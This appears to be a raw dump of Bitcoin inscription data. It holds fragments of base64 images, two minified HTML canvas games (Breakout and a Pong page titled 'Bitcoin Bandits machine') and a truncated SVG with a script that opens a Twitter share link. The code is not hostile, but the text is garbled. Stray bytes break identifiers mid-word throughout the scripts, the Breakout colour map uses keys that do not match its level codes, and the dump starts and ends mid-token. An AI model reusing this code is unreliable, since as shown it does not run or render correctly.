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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R",M
"R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(lM
et a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimM
ationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(cM
ollides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)M
}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=docM
ument.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function cM
ollides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.wM
idth,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=M
-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(L
l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 003 to bM
